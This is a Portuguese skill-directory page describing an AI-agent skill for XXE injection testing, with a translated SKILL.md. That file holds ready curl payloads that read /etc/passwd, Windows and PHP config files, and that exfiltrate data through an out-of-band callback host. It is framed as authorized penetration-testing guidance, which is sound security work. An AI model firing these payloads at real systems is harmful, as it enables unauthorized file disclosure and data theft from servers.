Pular para o conteúdo
Skillpedia
Segurança35 mil · #6230

testing-for-xxe-injection-vulnerabilities

Faz seu agente descobrir falhas de injeção XML que podem ler arquivos do servidor. Ele pode ser usado para acessar informações restritas ou controlar o servidor. Importante para testes de segurança.

O que ela faz

Esta ferramenta ajuda a encontrar e explorar falhas de segurança chamadas 'XXE Injection' em sistemas que processam arquivos XML. Ela permite ler arquivos do servidor, acessar recursos internos e roubar informações.

Quando usar

  • ✓Ao testar a segurança de um site ou aplicativo que aceita arquivos XML.
  • ✓Quando você suspeita que o sistema pode ser vulnerável a ataques que exploram como ele lê dados XML.
  • ✓Durante testes de segurança autorizados para verificar a proteção contra injeção de entidades externas.

Exemplo do que pedir para a IA

“Verifique se o site `exemplo.com` é vulnerável a XXE Injection e tente ler o arquivo `/etc/passwd`.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xxe-injection-vulnerabilities/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xxe-injection-vulnerabilities/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia dados XML especialmente criados para o sistema. Se o sistema for vulnerável, ele pode responder com informações de arquivos internos ou tentar se conectar a um servidor controlado pelo atacante.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-xxe-injection-vulnerabilities

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-xxe-injection-vulnerabilities/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Testando Vulnerabilidades de Injeção XXE

Quando Usar

  • Durante testes de penetração autorizados quando a aplicação processa entrada XML (APIs SOAP, uploads de arquivos, feeds RSS)
  • Ao testar APIs que aceitam Content-Type: application/xml ou text/xml
  • Para avaliar parsers XML em funcionalidades de upload de arquivos (DOCX, XLSX, SVG, PDF)
  • Ao avaliar serviços web baseados em SOAP para injeção de entidades
  • Durante avaliações de segurança de aplicações corporativas que usam configuração XML

Pré-requisitos

  • Autorização: Acordo escrito de teste de penetração para o alvo
  • Burp Suite Professional: Para interceptar e modificar requisições XML
  • XXEinjector: Ferramenta automatizada de exploração de XXE (git clone https://github.com/enjoiz/XXEinjector.git)
  • Servidor out-of-band: Burp Collaborator ou interactsh para detecção de XXE cega
  • curl: Para criação e envio manual de payloads
  • Python: Para construir um servidor de hospedagem DTD

Fluxo de Trabalho

Passo 1: Identificar Pontos de Processamento XML

Encontre todos os endpoints da aplicação que aceitam ou processam dados XML.

# Look for XML content types in Burp proxy history
# Filter for: Content-Type: application/xml, text/xml, application/soap+xml

# Test if JSON endpoints also accept XML
# Original JSON request:
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"search":"test"}' \
  "https://target.example.com/api/search"

# Try converting to XML:
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root><search>test</search></root>' \
  "https://target.example.com/api/search"

# Check file upload endpoints for XML-based formats
# DOCX, XLSX, PPTX, SVG, PDF, XML, RSS, ATOM, SOAP
# These all contain XML that may be parsed server-side

# Check for SOAP endpoints
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -H "SOAPAction: \"\"" \
  -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><test/></soap:Body></soap:Envelope>' \
  "https://target.example.com/ws/service"

Passo 2: Testar XXE Básico com Recuperação de Arquivos

Injete entidades XML para ler arquivos locais do servidor.

# Basic XXE payload to read /etc/passwd
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Windows file read
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Read application configuration files
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# PHP filter wrapper for base64 encoding (avoids XML parsing errors)
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

Passo 3: Testar XXE Cego com Detecção Out-of-Band

Quando o valor da entidade não é refletido na resposta, use técnicas out-of-band.

# XXE Cego com callback HTTP (use Burp Collaborator ou interactsh)
# Inicie o interactsh: interactsh-client
# Use o domínio gerado: abc123.oast.fun

curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Verifique o interactsh/Collaborator por requisições DNS ou HTTP recebidas

# XXE Cego com exfiltração de DNS
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# XXE Cego via entidades de parâmetro (quando entidades regulares são bloqueadas)
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [

…
Perguntas frequentes

O que é XXE Injection?

É um tipo de ataque de segurança onde um invasor explora a forma como um programa processa dados XML, fazendo com que ele leia arquivos sensíveis ou acesse recursos não autorizados.

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter autorização escrita antes de realizar qualquer teste de segurança em um sistema.

Quais ferramentas são necessárias?

Você precisará de ferramentas como Burp Suite Professional, XXEinjector, um servidor para receber dados externos (como Burp Collaborator) e ferramentas básicas de linha de comando como `curl` e `Python`.

Detalhes

Descrição original do autor

Discovering and exploiting XML External Entity injection vulnerabilities to read server files, perform SSRF, and exfiltrate data during authorized penetration tests.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6230
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas